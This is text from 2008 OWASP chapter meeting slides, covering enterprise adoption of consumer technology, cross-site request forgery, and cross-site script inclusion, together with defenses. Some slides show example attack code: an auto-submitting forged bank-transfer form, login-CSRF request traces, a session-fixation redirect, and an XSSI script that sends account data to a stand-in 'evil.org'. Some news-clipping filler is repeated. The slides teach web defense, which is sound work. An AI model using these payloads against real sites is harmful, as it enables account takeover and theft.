Thanks to our sponsors!!

AppSec Consulting
Security Compliance & Assurance

CENZIC
Securing Enterprise Applications

IMPERVA

OUNCE LABS
Q1 2008 Web Security Trend’s Report

Percentage of Total Vulnerabilities Comprised by Web Applications

- Q2 2007: 72%
- Q3 2007: 68%
- Q4 2007: 71%
- Q1 2008: 70%
Do you want to be in the news?

Hacker may have stolen Duke students' data

United Press International

Netcraft

Hackers Take

owns a company called “Life Is good” lacked “reasonable and appropriate security to protect against the loss of sensitive consumer information stored on its computer network.”

By Ira Clason

InformationWeek

January 10th, 2008

Online Retailer Settles Charges That It Left Consumer Data Open To Hackers

The FTC said a company called “Life Is good” lacked “reasonable and appropriate security to protect against the loss of sensitive consumer information stored on its computer network.”

By Ira Clason

InformationWeek

November 9, 2007 09:39 PM

IndiaTimes.com Visitors Risk High Exposure To Malware

The English-language version of the newspaper contains 434 malicious scripts, binary images, according to a ScafeSafe report.

By Ira Clason

InformationWeek

November 9, 2007 09:39 PM

WARNING: Google’s Gmail security failure leaves my business sabotaged

David Araya | 7:55 am | December 24, 2007 | Domain hack

Hacked

70,000 Web Pages Hacked By D Do you want to be in the news?

LINUX

JOURNAL

Hacker may have stolen Duke students' data

Jan. 10, 2008

Hacker may have stolen Duke students' data

Netcraft

Hackers Take

owns a company called “Life Is good” lacked “reasonable and appropriate security to protect against the loss of sensitive consumer information stored on its computer network.”

By Ira Clason

InformationWeek

January 10th, 2008

Online Retailer Settles Charges That It Left Consumer Data Open To Hackers

The FTC said a company called “Life Is good” lacked “reasonable and appropriate security to protect against the loss of sensitive consumer information stored on its computer network.”

By Ira Clason

InformationWeek

November 9, 2007 09:39 PM

IndiaTimes.com Visitors Risk High Exposure To Malware

The English-language version of the newspaper contains 434 malicious scripts, binary images, according to a ScafeSafe report.

By Ira Clason

InformationWeek

November 9, 2007 09:39 PM

WARNING: Google’s Gmail security failure leaves my business sabotaged

David Araya | 7:55 am | December 24, 2007 | Domain hack

Hacked

70,000 Web Pages Hacked By D Do you want to be in the news?

LINUX

JOURNAL

Hacker may have stolen Duke students' data

Jan. 10, 2008

Hacker may have stolen Duke students' data

Netcraft

Hackers Take

owns a company called “Life Is good” lacked “reasonable and appropriate security to protect against the loss of sensitive consumer information stored on its computer network.”

By Ira Clason

InformationWeek

January 10th, 2008

Online Retailer Settles Charges That It Left Consumer Data Open To Hackers

The FTC said a company called “Life Is good” lacked “reasonable and appropriate security to protect against the loss of sensitive consumer information stored on its computer network.”

By Ira Clason

InformationWeek

November 9, 2007 09:39 PM

IndiaTimes.com Visitors Risk High Exposure To Malware

The English-language version of the newspaper contains 434 malicious scripts, binary images, according to a ScafeSafe report.

By Ira Clason

InformationWeek

November 9, 2007 09:39 PM

WARNING: Google’s Gmail security failure leaves my business sabotaged

David Araya | 7:55 am | December 24, 2007 | Domain hack

Hacked

70,000 Web Pages Hacked By D
The first hacked site

"OPEN SESA..."
AH! SOMEONE GOT BY THE PASSWORD!

THE FIRST HACKED SITE
Hackers start early…

The future hacker deciphers his first PIN code
Sophistication of hackers..
No one is spared...

There! Now our names are on the "nice" list... whadaya say we move your sister to the "naughty" list?

Hacking into Santa's computer
What is OWASP?
OWASP Main Site Traffic

Worldwide Users

Most New Visitors

Monthly Downloads (GB)

230 (GB/month)

5,022,937 Pageviews
OWASP Worldwide Community

New York City Chapter 567 Members Mailing List

Local Chapters

Participants

OWASP
OWASP KnowledgeBase

- 3,913 total articles
- 427 presentations
- 200 updates per day
- 179 mailing lists
- 180 blogs monitored
- 31 doc projects
- 19 deface attempts
- 12 grants
OWASP Membership Benefits

- OWASP Commercial License to use materials without restrictions
- Visibility through inclusion in the member list on the Web site and other promotional materials
- Right to use OWASP trademark
- Significant discounts to attend OWASP conferences and events
- Goodwill
- Chachkes
## OWASP Membership

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
<th>Annual Membership Fee</th>
</tr>
</thead>
<tbody>
<tr>
<td>Individuals</td>
<td>Individuals not as part of a Corporation</td>
<td>$100</td>
</tr>
<tr>
<td>Education and Non-Profit</td>
<td>Accredited educations institutions and government approved non-profit organizations</td>
<td>$250</td>
</tr>
<tr>
<td>End-user organizations</td>
<td>Small – Less than 100 employees</td>
<td>$2000</td>
</tr>
</tbody>
</table>
| Consulting Organizations      | Organizations that provide security training, consulting etc.                | $3,000
|                               | Small – Less than 10 consultants, Large – More than 10 consultants            | $8,000                |
| Vendor Organizations          | Software vendors that sell security products                                 | $9,000                |
OWASP Bay Area Chapter Plans - 2008

Leaders:
- Mandeep Khera, Cenzic – Bay Area Chapter – mkhera@owasp.org
- Brian Bertacini, AppSec Consulting – South Bay - brian.bertacini@owasp.org
- Robi Papp, Accuvant – North Bay – rpapp@owasp.org
- Garrett Gee – East Bay – ggee@owasp.org

2008 Plan:
- Bay Area Chapter meeting – Once every 3-4 months
- Local Chapter meetings – 1x month, rotating thru each chapter
- Topics planned – Specific attacks (XSS, Session Hijacking, Cross-Frame Scripting, Cross-Site Request Forgery, etc.), Compliance issues, Metrics, Status on OWASP Projects

What we need:
- More volunteers to help with each chapter – content
Agenda

- 2.00 – 2.10 - Welcome, Bay Area Chapter Overview – Mandeep Khera
- 2.10 – 2.55 - Consumerization of Enterprises – Chenxi Wang, Forrester
- 2.55 – 3.40 – Cross-Site Request Forgery- Collin Jackson, PH.D. Student, Stanford University
- 3.40 – 4.00 - Networking Break
- 4.00 – 4.45 – Google Gadget Security – Tom Stracener, Cenzic
- 5.30 – 7.00 – Networking Reception – Food and Drinks
Consumerization of Enterprises: A Security Conundrum

Chenxi Wang, Ph.D.
Principal Analyst
Forrester Research Inc.
Agenda

- Consumerization - groundswell
- Security and control are the inhibitor
- What it means for security professionals
  - As a user
  - As a vendor
- Summary
iPhone for enterprises?

- Seamless integration with enterprise apps
  - Synchronization with email, calendars, contacts.
  - Support for live communication or OCS (communication with presence)
- Codeword: work more seamlessly with Microsoft products
- Enable central management of and policy enforcement on iPhone devices
- Remote trouble shooting
put an iphone pictures
Chenxi Wang, 6/24/2008
The moral of the story: enterprises are increasingly adopting consumer technologies

<table>
<thead>
<tr>
<th>Reason</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>It improves the efficiency of our business</td>
<td>74%</td>
</tr>
<tr>
<td>We felt we had to keep up with our competitors or with the market</td>
<td>64%</td>
</tr>
<tr>
<td>It solves a problem at our company</td>
<td>53%</td>
</tr>
<tr>
<td>It was recommended by a partner</td>
<td>53%</td>
</tr>
<tr>
<td>Employees were requesting it</td>
<td>45%</td>
</tr>
<tr>
<td>It was included as part of a bundled service</td>
<td>25%</td>
</tr>
</tbody>
</table>

Base: 106 CIOs at firms using at least one of six Web 2.0 technologies (multiple responses accepted)

Source: United States CIO Confidence Poll Online Survey
What consumer technologies are being adopted?

- Real-time communication
  - IM, VoIP, web conferencing
  - Unified communication
- Information sharing and collaboration platforms
  - Blog, Wiki, RSS
  - Integrated search
  - Collaborative content portal
IT decision-makers estimate that many employees currently use consumer technologies for business purposes

NOTE: These are preliminary findings and subject to revision
Collaboration has become part of enterprise fabric

“Which of the following are likely to be one of your IT organization’s major software technology initiatives for the next 12 months?”

Implement an enterprise collaboration strategy

- Not on our agenda
- Not a priority
- Priority
- Critical priority
- Don't know or does not apply to me

Near 50% of businesses view it as a priority

Base: 2,252 Software IT decision-makers at North American and European companies
Source: Forrester Enterprise And SMB Software Survey, Q3, 2007
People are building serious apps using collaboration technologies

- Crew portal (mission-critical app)
- Compliance documentation management

- AMD Central intranet
- Partner sites (mission critical)
- Microsites

- Brand Champions workplace
  - 1,200 marketing pros initially
  - 5,000 in marketing, sales ultimately
But, organizations are wary of consumer technologies

- CIOs tell us
  - #1 concern: security risks
  - Fear of losing control
  - Increased complexity on IT operations
  - RoI isn’t necessarily clear

- Employees increasingly expect collaboration, information sharing, and just in time delivery of content
- It is IT’s burden to make that happen
Security and control issues are top of mind
Enterprises’ needs for control

- Policy enforcement in a centralized manner, using scalable, auditable, repeatable methods
- Maintain control over information
  - Keep confidential information confidential
  - Proper access control for privacy and security reasons
- Compliance and regulation needs
  - PCI, SoX, GLB, ITAR
- Obtain visibility of activities
This is in fundamental conflict with the requirements of consumer technologies

- At the core, consumer technologies are about being
  - Convenient
  - Personable
  - Flexible
  - Efficient interaction between individuals, data, and applications
The consumer experience
The enterprise experience
The experience gap will disappear

- There is no reason that you have to use disparate systems for consumer vs. enterprise computing
- The consumerization of enterprises is happening

- So facilitate it, mold it, and lead it!
What do you get out of it?

- Enterprises can benefit from increased collaboration and productivity
- Individuals can benefit from convergence of applications, knowledge, and interaction methods
- So meet the future Chenxi
I work with a team located at
My team has a project blog

- Each member subscribes to the blog via RSS
- Our external partners also subscribe via RSS
- Our team meeting is conducted via web conferencing
  - Also saved via podcast, members in far away timezone are notified when a new podcast becomes available via RSS
- Our team blog is linked to Wikipedia, any unfamiliar terms can be explained with a click of the mouse
- I synchronize my calendar with my remote colleagues, chat with my colleagues via OCS, available also on my iPhone
When I open a browser
I see this ...

Mountain View Map

Weather

Mountain View, CA

68°F
Current: Clear
Wind: N at 6 mph
Humidity: 62%

Movie

Showtimes for "94013"

- Get Smart 1hr 59min - Rated PG-13
  ★★★★★ 2 reviews

- The Love Guru 1hr 28min - Rated PG-13
  ★★★★ 2 reviews

- The Happening 1hr 31min - Rated R
  ★★★ 13 reviews

Gmail

- Inbox (2310) Hide preview Compose Mail
- me - My bio - Chennai
- Papyrus - Online & In Stores - Wrap It Up Sale - Havin - How Much To Offer - Dear Chennai, How Much To Of
- StubHub Ticket - StubHub Ticket Update - SF Bay At me, Chris (2) - IMG00113.jpg - good! On Mon, Jun 23,

OWASP
My other portal to both consumer and enterprise apps is ...
What we need is personalized, secure data delivery
We also need ...

- Identity management beyond simple corporate boundaries
  - That means identity management beyond simple corporate boundaries
  - In today’s terms, it’s about federated identity and support third party SSO tools
  - Tomorrow, perhaps identity is an on-demand evaluation
    - Identity materials (which you possess)
    - Temporal characters (time of the day, previous transactions, etc.)
    - Your GPS info
    - Corporate info (available on demand)
  - To achieve fine-grained access control
Perhaps this is what happens

Web Content

Enterprise Information

Applications

Databases

Security Infrastructure

OWASP

View with...

YAHOO!

Google

netvibes

Web-Based Home pages

Personalized, secure data delivery

Bookmarks, Tagging

Desktop RSS Aggregator

Widget / Ajax Mini Apps
How far are we to this vision?

Browser based

wiki’s

social networking

online collaboration
tagging

blogs

podcasts

social bookmarking
We won’t get there if we don’t solve XSS
We also won’t get there if this continues ...

Figure 3: Fraction of search queries that resulted in at least one malicious URL. (7-day running avg.)

Or this continues …
Summary

- A single layer of identity management logic across organizations, roles, businesses
- Securer web applications
- Strong policy control capabilities to enforce enterprise content governance
- Seamless support for functionality
- A safer Internet
Thank you

Chenxi Wang, Ph.D.
Principal Analyst,
Forrester Research
+1 650/581.3850
cwang@forrester.com

www.forrester.com
Cross Site Request Forgery
New Attacks and Defenses

Collin Jackson
Stanford University

collinj@cs.stanford.edu
(206) 963-0724

6/25/2008

Joint work with Adam Barth and John C. Mitchell
Outline

- CSRF Defined
- Attacks Using Login CSRF
- Existing CSRF Defenses
- CSRF Defense Proposal
- Identity Misbinding
Threat Models

- Forum Poster
  - Injects content onto trusted site
  - Sanitized (hopefully)
- Web Attacker
  - Owns https://www.attacker.com
  - Free user visit
- Network Attacker
  - Eavesdrop/corrupt normal traffic
  - Cannot eavesdrop/corrupt HTTPS
Browser vs. Web Attacker

- Isolate sites
- Sites can opt in to sharing information
- Prevent attacker from
  - Abusing user’s IP address
  - Reading browser state associated with other sites
  - Writing browser state associated with other sites
Browser Security Policy

- Same-origin policy
  <iframe src="http://www.bank.com/">
  <script>
    alert(frames[0].document.cookie);
  </script>
  </iframe>

- Library import
  <script src="https://www.verisign.com/seal.js">

- Data export
  <form action="https://www.bank.com/login">
Problems with Data Export

- Abusing user’s IP address
  - Can issue commands to servers inside firewall

- Reading browser state
  - Can issue requests with cookies attached

- Writing browser state
  - Can issue requests that cause cookies to be overwritten

- “Session riding” is a misleading name
Cross-Site Request Forgery

GET /blog HTTP/1.1

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
recipient=attacker&amount=$100

HTTP/1.1 200 OK
Transfer complete!

<form action='https://www.bank.com/transfer' method='POST' target='invisiframe'>
  <input name='recipient' value='attacker' />
  <input name='amount' value='$100' />
</form>

<script>document.forms[0].submit();</script>
Login CSRF

GET /blog HTTP/1.1

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZAI1Fa34

GET /search?q=lamas HTTP/1.1
Cookie: SessionID=ZAI1Fa34

Web History for attacker
Apr 7, 2008
9:20pm Searched for lamas
Payments Login CSRF

Quizzer provides an interface for studying these images.

**Wow! This site is so cool! How can I show my appreciation?**

Sura-Sura Kanji Quizzer is supported by banner advertisements, but you can also support Sura-Sura Kanji Quizzer via PayPal donation:

![PayPal Donate](http://www.kanjiquizzer.com/help/faq.php)

**How does the quizzer choose which kanji to display?**

The displayed kanji is chosen at random from among the active kanji. Special effort is taken to avoid displaying the same kanji twice in a row. It might still happen, however, if only one kanji is active.

**How should I use the Sura-Sura Kanji Quizzer service?**

All we ask is that you use the quizzer honestly. Bad data will make the statistics less useful.

**How does the quizzer calculate the "success rate" of a user?**

The formula is (Times Succeeded) / (Times Viewed). If you view a kanji but do not click the "Success" button (for example, if you click a link to some other part of the site), that counts against your success rate. Please do not worry too much about...
Payments Login CSRF

PayPal is the safer, easier way to pay

PayPal securely processes payments for Kanji Quizzer. You can finish paying in a few clicks.

Why use PayPal?
Use your credit card online without exposing your card number to merchants.
Speed through checkout. No need to enter your card number or address.

Don't have a PayPal account?
Use your credit card or bank account (where available). Continue

LOG IN TO PAYPAL

Email: collinj@cs.stanford.edu
Password: ********

Log In

www.paypal.com
Payments Login CSRF
Payments Login CSRF

![PayPal login page](image-url)

PayPal protects the privacy of your financial information regardless of your payment source. This bank account will become the default funding source for most of your PayPal payments, however you may change this funding source when you make a payment. Review our [education page](url) to learn more about PayPal policies and your payment-source rights and remedies.

The safety and security of your bank account information is protected by PayPal. We protect against unauthorized withdrawals from your bank account to your PayPal account. Plus, we will notify you by email whenever you deposit or withdraw funds from this bank account using PayPal.

- **Country:** United States
- **Account Type:** Checking
- **U.S. Check Sample:**
  - **Routing Number:**
  - **Check Digit:**
  - **Account Number:**

![Add a Bank Account in the United States](image-url)

[Continue][Cancel]
Inline Gadgets
Using Login CSRF for XSS
Post-XSS

A Google approach to email.

Gmail is a new kind of webmail, built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:

- Less spam
  Keep unwanted messages out of your inbox with Google's innovative technology.

- Mobile access
  Read Gmail on your mobile phone by pointing your phone's web browser to http://gmail.com/app. Learn more

- Lots of space
  Over 6863.569390 megabytes (and counting) of free storage so you'll never need to delete another message.

Sign in to Gmail with your Google Account

Username: colling
Password: ************

Remember me on this computer.
Sign in

I cannot access my account

New to Gmail? It's free and easy.

Create an account»

©2008 Google • Gmail for Organizations • Gmail Blog • Terms • Help

OWASP
CSRF Defenses

- Secret Validation Token
  ```html
  <input type=hidden value=23a3af01b>
  ```

- Referer Validation
  ```
  Referer: http://www.facebook.com/home.php
  ```

- Custom HTTP Header
  ```
  X-Requested-By: XMLHttpRequest
  ```
Secret Validation Token vs. Web Attacker

- **Hash of User ID**
  - Attacker can forge

- **Session ID**
  - Save to HTML does allow session hijacking

- **Session-Independent Nonce (Trac)**
  - Can be overwritten by subdomains, network attackers

- **Session-Dependent Nonce (CSRFx, CSRFGuard)**
  - Requires managing a state table

- **HMAC of Session ID**
  - No extra state required
Keeping Secrets in NoForge

- Parses HTML and appends token to hyperlinks

- Dynamically created HTML lacks token
  - Legacy application may break unexpectedly

- Token appended to all external links
  - Remote site can immediately CSRF referrer

- No login CSRF defense
  - Requires a session before token is validated
Referer Validation

- Lenient Referer checking – header is optional
- Strict Referer checking – header is required
Why use Lenient Referer Checking?

- Referer may leak privacy-sensitive information

- Common sources of blocking:
  - Network stripping by the organization
  - Network stripping by local machine
  - Stripped by browser for HTTPS -> HTTP transitions
  - User preference in browser
  - Buggy user agents

- Site cannot afford to block these users
Lenient Referer Checking vs. Web Attacker

ftp://www.attacker.com/index.html
javascript:"<script> /* CSRF */ </script>"
data:text/html,<script> /* CSRF */ </script>

... and many more

Lenient Referer Checking is not secure!
Don’t use it!

M. Johns '06
Is Strict Referer Checking Feasible?

283,945 advertisement impressions from 163,767 IP addresses
Custom Header

- XMLHttpRequest is for same-origin requests
  - Can use setRequestHeader within origin
- Limitations on data export format
  - No setRequestHeader equivalent
  - XHR2 has a whitelist for cross-site requests
- Issue POST requests via AJAX:
  
  X-Requested-By: XMLHttpRequest

- No secrets required
Can browsers help sites with CSRF?

- Does not break existing sites
- Easy to use
- Allows legitimate cross-site requests
- Reveals minimum amount of information
- No secrets to leak
- Standardized
Proposal: Origin Header

Privacy
- Identifies only principal that initiated the request (not path or query)
- Sent only for POST requests; following hyperlink reveals nothing

Usability
- Authorize subdomains and affiliate sites with simple firewall rule
  
  ```
  SecRule REQUEST_HEADERS:Host !^www\.example\.(com|\d+)?$ deny,status:403
  SecRule REQUEST_METHOD ^POST$ chain,deny,status:403
  SecRule REQUEST_HEADERS:Origin !^https?://www\.example\.(com|\d+)?\?$
  ```
- No need to manage secret token state
- Can use redundantly with existing defenses to support legacy browsers

Standardization
- Supported by W3C XHR2 and JSONRequest
- Expected in IE8’s XDomainRequest
Identity Misbinding

- User is logged in to trusted site as attacker
- Does not always require login CSRF
  - OpenID
  - PHP Cookieless Authentication
  - “Secure” cookies
Web Attacker vs. PHP Cookieless Authentication

```
<script>
  location.href = "http://hushmail.com/" + "compose?PHPSESSID=ZA1Fa34";
</script>
```

GET /compose?PHPSESSID=ZA1Fa34 HTTP/1.1

HTTP/1.1 200 OK
Network Attacker vs. “Secure” Cookies

- Need a browser-based solution
- Cookie-Integrity
- Mitigation: Don’t allow self-XSS over HTTPS

OWASP
Conclusions

■ Beware of:
  ‣ State-modifying GET requests
  ‣ Login CSRF
  ‣ Lenient Referer checking
  ‣ Sloppy secret token validation
  ‣ OpenID without binding to browser
  ‣ PHP cookieless authentication
  ‣ User opt-in to self-XSS (especially over HTTPS)

■ OK:
  ‣ Careful secret token validation
  ‣ Strict Referer checking over HTTPS
  ‣ Custom headers
“How Cybercriminals Steal Money”

Neil Daswani
June 2008

http://www.neildaswani.com/
Cybercriminal Goals

- **End goal:** $$$

- **Average Attacker Profile:**
  - yesterday: teenager looking for fame
  - today: organized crime

- **Intermediate goals:**
  - Data Theft (Identity, credit cards, etc.)
  - Extortion (denial-of-service, blackmail, etc.)
  - Malware distribution (drive-by-downloads, etc.)

- **Example: RBN (Russian Business Network):**
  - responsible for Storm, MalwareAlarm, much more...
Cross-Site-Request Forgery (XSRF)

Alice is using our ("good") web-application: www.bank.com

(assume user is logged in w/ cookie)

At the same time (i.e. same browser session), she’s also visiting a "malicious" web-application: www.evil.org
How XSRF Works

Alice

/login.html
/auth
uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de

bank.com
/viewbalance
Cookie: sessionid=40a4c04de

“Your balance is $25,000”
How XSRF Works

Alice

/login.html

/auth
uname=victim&pass=fmd9032
Cookie: sessionid=40a4c04de

/evil.html


/paybill?addr=123 evil st, amt=$10000
Cookie: sessionid=40a4c04de

“OK. Payment Sent!”
XSRF: Write-only

Malicious site can’t read info (due to same-origin policy), but can make **write** requests to our app!

Can still cause damage
  - in Alice’s case, attacker gained control of her account with full read/write access!
Preventing XSRF

- Inspecting Referer Headers
  - ok, but not foolproof since it could be forged or blanked (even by legitimate users)
  - can work for HTTPS [BJM '08]
- Web Application Firewall
  - may or may not work because a single request looks authentic to bank.com
- Validation via User-Provided Secret
  - ask for current password for important transactions
- Validation via “Action Token”
  - add special tokens to “genuine” forms to distinguish them from “forged” forms
Cross-Site Script Inclusion (XSSI)

- Can include 3rd-party `<script>` tag
- Static Script Inclusion
  - Enables code sharing, i.e. providing JavaScript library for others to use
  - Including 3rd-party script dangerous w/o control since it runs in our context w/ full access to client data
- Dynamic Script
  - Instead of traditional postback of new HTML doc, asynchronous requests (AJAX) used to fetch data
  - Data exchanged via XML or JSON (arrays, dicts)
XSSI

- Static Script Inclusion
  ```html
  <html>
  <head>
  <title>My Mail</title>
  <script src = "www.menusite.com/menu.js">
  </script>
  </head>
  <body>...
  </body>
  </html>
  ```
XSSI

- Dynamic Script Inclusion: viewbalance.html

```html
<script>
x = new XMLHttpRequest();
x.onreadystatechange = function () {
    eval(x.responseText)
};
x.open("POST", "http://www.bank.com/json/get_data?callback=RenderData");
x.send(...);

function RenderData(data) {
    // render acct no and balance on page
}
</script>
```
How XSSI Works

Alice

login & auth

Cookie: sessionid=40a4c04de

/viewbalance.html Cookie: sessionid=40a4c04de

/json/get_data?callback=RenderData

RenderData({“acct_no”:”494783”, “balance”:”10000”})

RenderData

bank.com
How XSSI Works

Alice

login & auth

bank.com evil.org

Cookie: sessionid=40a4c04de
/viewbalance.html Cookie: sessionid=40a4c04de
/evil.html

<SCRIPT>function RenderData(args) { sendArgsToEvilOrg(args); </SCRIPT>
<SCRIPT SRC=http://www.bank.com/json/get_data?callback=RenderData>

POST /json/get_data
Cookie: sessionid=40a4c04de
RenderData({“acct_no”:”494783”, “balance”:”10000”})

OWASP
Preventing XSSI

- Apply XSRF Defenses?
  - Inspecting Referer Headers
  - Web Application Firewall
  - Validation via user secret
  - Validation via “Action Token”

- Additional Defenses
  - Custom HTTP Header
  - while(1);
Dynamic Script Inclusion: viewbalance.html

```html
<script>
x = new XMLHttpRequest();
x.onreadystatechange = function () {
    eval(x.responseText)
};
x.setRequestHeader("X-Custom-Header: CheckForThis!");

x.open("POST", "http://www.bank.com/json/get_data?callback=RenderData");
x.send(...);

function RenderData(data) {
    // render acct no and balance on page
}
</script>
```
XSSI Defense: Custom Header

Alice

login & auth

bank.com

Cookie: sessionid=40a4c04de

/viewbalance.html
Cookie: sessionid=40a4c04de

POST /json/get_data?callback=RenderData
X-Custom-Header: CheckForThis!

RenderData(“acct_no”:”494783”, “balance”:”10000”}

Check for custom header!
How XSSI Works

Alice

login & auth

/bviewbalance.html Cookie: sessionid=40a4c04de

/evil.html

<SCRIPT>function RenderData(args) { sendArgsToEvilOrg(args);
</SCRIPT>

<SCRIPT SRC=http://www.bank.com/json/get_data?callback=RenderData>

POST /json/get_data
Cookie: sessionid=40a4c04de

No custom header: request denied!
XSSI Defense: while(1);

- Dynamic Script Inclusion: viewbalance.html

```html
<script>
  x = new XMLHttpRequest();
  x.onreadystatechange = function () {
    command = // 2nd line of x.responseText
    eval(command)
  }

  x.open ("POST", "http://www.bank.com/json/get_data?callback=RenderData");
  x.send ( ... );

  function RenderData(data) {
    // render acct no and balance on page
  }
</script>
```
XSSI Defense: while(1);
XSSI Defense: `while(1);`

Alice

login & auth

Bank.com | Evil.org

Cookie: sessionid=40a4c04de
/viewbalance.html Cookie: sessionid=40a4c04de
/evil.html

<SCRIPT>
function RenderData(args) {
  sendArgsToEvilOrg(args);
}
</SCRIPT>

<SCRIPT SRC=http://www.bank.com/json/get_data?callback=RenderData>

POST /json/get_data
Cookie: sessionid=40a4c04de
while(1);
RenderData({“acct_no”:”494783”, “balance”:”10000”})

Infinite loop in evil.html
Security Training

- Stanford Certification Program
- Books
- code.google.com/edu
Stanford Advanced Security Certificate

- Online (anytime) or On-Campus (one week)
- Required: 3 core courses; 3 electives
- Hands-on labs conducting attacks & constructing defenses
- Security Foundations Certificate also available
Stanford Advanced Security Certificate

- CORE COURSES
  - Using Cryptography Correctly
  - Writing Secure Code
  - Security Protocols

- ELECTIVES
  - Computer Security Management – Recent Threats, Trends & the Law
  - Designing/Building Secure Networks
  - Emerging Threats and Defenses
  - Securing Web Applications
  - Systems Security

- SPECIAL ELECTIVE
  - Computer Security Foundations Certificate
Stanford Advanced Security Certificate

http://proed.stanford.edu/advancedsecurity

Next offering:
July 21-25, 2008

Discount:
$1500 → $1095
(before 6/30)
Emerging Threats & Defenses Symposium
Books

- Foundations of Security: What Every Programmer Needs To Know (Daswani / Kern / Kesavan)
- Security Engineering (Anderson)
- Building Secure Software (Viega / McGraw)
- Secure Programming Cookbook (Viega / Messier)
code.google.com/edu: Web Security

Google Code for Educators
Google Code Home > Code for Educators > Sample Course Content > Web Security

Web Security
This page contains course material submissions from industry and academia that is designed to help teach web security to students around the world.

Introduction to Web Security
by Neil Daskani

This submission contains two lectures and a programming assignment that is designed to introduce students to web based security.

Lectures - Programming Assignments

- Free & available for external use
To conclude...

- Software security is every engineer's problem!

- Links / Pointers:
  
  http://www.learnsecurity.com/
  Click on “Resources”

- Neil Daswani
daswana@cs.stanford.edu
http://www.neilidaswani.com